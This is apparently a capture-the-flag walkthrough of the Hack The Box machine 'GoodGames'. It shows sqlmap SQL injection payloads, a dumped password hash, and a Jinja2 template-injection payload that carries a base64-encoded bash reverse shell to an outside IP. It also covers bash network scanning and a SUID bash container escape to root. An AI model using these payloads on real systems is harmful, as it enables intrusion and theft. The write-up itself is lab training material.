GoodGames
GoodGames is an Easy linux machine that showcases the importance of sanitising user inputs in web applications to prevent SQL injection attacks, using strong hashing algorithms in database structures to prevent the extraction and cracking of passwords from a compromised database, along with the dangers of password re-use. It also highlights the dangers of using `render_template_string` in a Python web application where user input is reflected, allowing Server Side Template Injection (SSTI) attacks. Privilege escalation involves docker hosts enumeration and shows how having admin privileges in a container and a low privilege user on the host machine can be dangerous, allowing attackers to escalate privileges to compromise the system.
ENUMERATION
Lets begin as always with an Nmap Scan:
target=127.0.0.1; nmap -T4 -p$(nmap -Pn -T4 $target | grep '^[0–9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -Pn -sVC $targetPORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.51
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
|_http-title: GoodGames | Community and StoreThe website redirecting to a host so:
echo "10.10.11.130 goodgames.htb internal-administration.goodgames.htb" >> /etc/hostsTesting for SQLi in the login form, the user parameter is injectable and we where able to retrieve the administrator’s password hash and using crackstation we got the cleartext password for the admin.
This is the login_request.txt:
POST http://10.10.11.130/login HTTP/1.1
Host: 10.10.11.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: https://10.10.11.130
DNT: 1
Connection: keep-alive
Referer: https://10.10.11.130/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Sec-GPC: 1
email=admin@goodgames.com*&password=testsqlmap -r login_request.txt --batch --level=5 --risk=3 --threads=10 --time-sec=2 --text-only --exclude-sysdbs --dbs --tables[18:05:33] [INFO] checking if the injection point on (custom) POST parameter '#1*' is a false positive
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 651 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: email=admin@goodgames.com' AND 5012=(SELECT (CASE WHEN (5012=5012) THEN 5012 ELSE (SELECT 9782 UNION SELECT 9427) END))-- YleD&password=test
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=admin@goodgames.com' AND (SELECT 1969 FROM (SELECT(SLEEP(2)))TlCp)-- LCEN&password=test
---
[18:05:36] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12Then to retrieve the admin hash:
sqlmap -r login_request.txt --batch --level=5 --risk=3 --threads=10 --time-sec=2 --text-only --exclude-sysdbs --dump -D main -T userDatabase: main
Table: user
[2 entries]
+----+-------+---------------------+-----------------------------------------+
| id | name | email | password |
+----+-------+---------------------+-----------------------------------------+
| 1 | admin | admin@goodgames.htb | 2b22337f218b2d82dfc3b6f77e7cb8ec |
| 2 | test | test@test.com | 098f6bcd4621d373cade4e832627b4f6 (test) |
+----+-------+---------------------+----------------------------------------Login as the admin we have a link to an internal subdomain “internal-administration.goodgames.htb”. This is the login page to a service called “Flask Volt”, we here able to log in using the same creds than before.
Since this new site is using Flask and Werkzeug, we check for SSTI on the only parameter that can be sent to the backend. the “name” on the settings page and it is injectable so now we will use this parameter to achieve RCE
I have created a curl with the request to achieve the RCE PoC:
curl -X POST "http://internal-administration.goodgames.htb/settings" -d 'name={{5*5}}' -H 'Cookie: session=.eJwljjtOBTEMAO-SmsJ2_EneZVZxbAuEBNLuexXi7qxEOdPM_LSjzrze2-N5vvKtHR_RHm2ClgGyGhaObT15biMyVqY909hLmIpEl4rBst5jofcJzlMHGsHI2pUyaCzX7EI7GKV6yCTQWJQUwOB9qA5iDlul6Z6Tvd0jryvP_xu8cV9nHc_vz_y6RYwwR9KSBT591MJYsgm2okolwV1jxvb7BwavPiY.Y8j7KQ.FNRh5L12ENVsprLgi3vWC97pNmI'<div class="profile-cover rounded-top" data-background="/static/assets/img/profile-cover.jpg"></div>
<div class="card-body pb-5">
<img src="/static/assets/img/team/profile-picture-1.jpg" class="avatar-xl rounded-circle mx-auto mt-n7 mb-4" alt="Neil Portrait">
<h4 class="h3">
25
</h4>
<h5 class="fw-normal">
admin
</h5>
<p class="text-gray mb-4">
admin@goodgames.htb
</p>
<a class="btn btn-sm btn-gray-800 d-inline-flex align-items-center me-2" href="#">
<svg class="icon icon-xs me-1" fill="currentColor" viewBox="0 0 20 20" xmlns="http://www.w3.org/2000/svg"><path d="M8 9a3 3 0 100–6 3 3 0 000 6zM8 11a6 6 0 016 6H2a6 6 0 016–6zM16 7a1 1 0 10–2 0v1h-1a1 1 0 100 2h1v1a1 1 0 102 0v-1h1a1 1 0 100–2h-1V7z"></path></svg>
Connect
</a>
<a class="btn btn-sm btn-secondary" href="#">Send Message</a>
</div>EXPLOITATION
Looking on this site we have found a way to achieve RCE using SSTI on this technologie:
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}I did not managed to make the exploit work using curl, i guess it is because of bash’s ‘ and “ issues but using the site it worked fine.
Get joseml’s stories in your inbox
Join Medium for free to get updates from this writer.
This is the payload:
name={% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__["__import__"]("os").popen("echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi45LzU1NTUgMD4mMQ==${IFS}|base64${IFS}-d|bash").read()}}{%endif%}{% endfor %}'nc -nlvp 5555
Listening on 0.0.0.0 5555
Connection received on 10.10.11.130 39556
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@3a453ab39d3d:/backend# whoami
whoami
root
root@3a453ab39d3d:/backend# uname -a
uname -a
Linux 3a453ab39d3d 4.19.0–18-amd64 #1 SMP Debian 4.19.208–1 (2021–09–29) x86_64 GNU/Linux
root@3a453ab39d3d:/backend#So we are root on the container.
ROOT
Running “Lse” tell us we are in a docker container, i already knew since i am root and there is no root flag here :).
There is also this folders structure but there is no augustus user in the container:
/home/augustus
Making a ping sweep using bash reveals another host that we can asume is the docker main host.
date; for i in {1..254}; do (ping -c 1 192.168.206.$i &) done | grep "bytes from" | grep -v "Unreachable" | cut -d " " -f 4 | cut -d ":" -f 1 ; dateA quick port scanner again using bash is faster give us as open the ports 80 and 22 on that host.
date; for port in {1..65535}; do (echo > /dev/tcp/10.4.228.215/$port && echo "$port open")& done 2>/dev/null; dateThe port 80 it is just a forwarding to the website we already inspected.
On the port 22 we tried the augustus user that we identified on the docker container and the same password that we already had and this gave us access to the main host.
root@3a453ab39d3d:/backend# ssh augustus@172.19.0.1augustus@172.19.0.1's password:
Linux GoodGames 4.19.0–18-amd64 #1 SMP Debian 4.19.208–1 (2021–09–29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
augustus@GoodGames:~$The changes we can do to files on the docker, are reflected on the host as made by root so we copy bash on the host to augustus home and on the container we change the owner as root and give SUID. Back on the host as augutus, we run this version of bash and we got a shell as root.
In the container:
root@3a453ab39d3d:/home/augustus# chown root ./bash
root@3a453ab39d3d:/home/augustus# ls -lah
total 1.3M
drwxr-xr-x 3 1000 1000 4.0K Jan 21 10:02 .
drwxr-xr-x 1 root root 4.0K Nov 5 2021 ..
lrwxrwxrwx 1 root root 9 Nov 3 2021 .bash_history -> /dev/null
-rw-r - r - 1 1000 1000 220 Oct 19 2021 .bash_logout
-rw-r - r - 1 1000 1000 3.5K Oct 19 2021 .bashrc
drwx - - - 3 1000 1000 4.0K Jan 21 09:50 .gnupg
-rw-r - r - 1 1000 1000 807 Oct 19 2021 .profile
-rwxr-xr-x 1 root 1000 1.2M Jan 21 10:02 bash
-rw-r - - - 1 root 1000 33 Jan 21 09:28 user.txt
root@3a453ab39d3d:/home/augustus# chmod +s ./bash
root@3a453ab39d3d:/home/augustus# ls -lah
total 1.3M
drwxr-xr-x 3 1000 1000 4.0K Jan 21 10:02 .
drwxr-xr-x 1 root root 4.0K Nov 5 2021 ..
lrwxrwxrwx 1 root root 9 Nov 3 2021 .bash_history -> /dev/null
-rw-r - r - 1 1000 1000 220 Oct 19 2021 .bash_logout
-rw-r - r - 1 1000 1000 3.5K Oct 19 2021 .bashrc
drwx - - - 3 1000 1000 4.0K Jan 21 09:50 .gnupg
-rw-r - r - 1 1000 1000 807 Oct 19 2021 .profile
-rwsr-sr-x 1 root 1000 1.2M Jan 21 10:02 bash
-rw-r - - - 1 root 1000 33 Jan 21 09:28 user.txtThen in the main host:
root@3a453ab39d3d:/home/augustus# ssh augustus@172.19.0.1
augustus@172.19.0.1's password:
Linux GoodGames 4.19.0–18-amd64 #1 SMP Debian 4.19.208–1 (2021–09–29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Jan 21 10:02:32 2023 from 172.19.0.2
augustus@GoodGames:~$ ./bash -p
bash-5.1# id
uid=1000(augustus) gid=1000(augustus) euid=0(root) groups=1000(augustus)
bash-5.1# cat /root/root.txt
e341cb985c2261
bash-5.1#Congratulations! We have successfully completed this machine. Thank you for reading!





![ShadowGate Active Directory Lab Walkthrough [HackSmarter]](https://miro.medium.com/v2/resize:fit:1358/format:webp/1*GNKyoNIPTLFt5Fk4wNos5A.png)

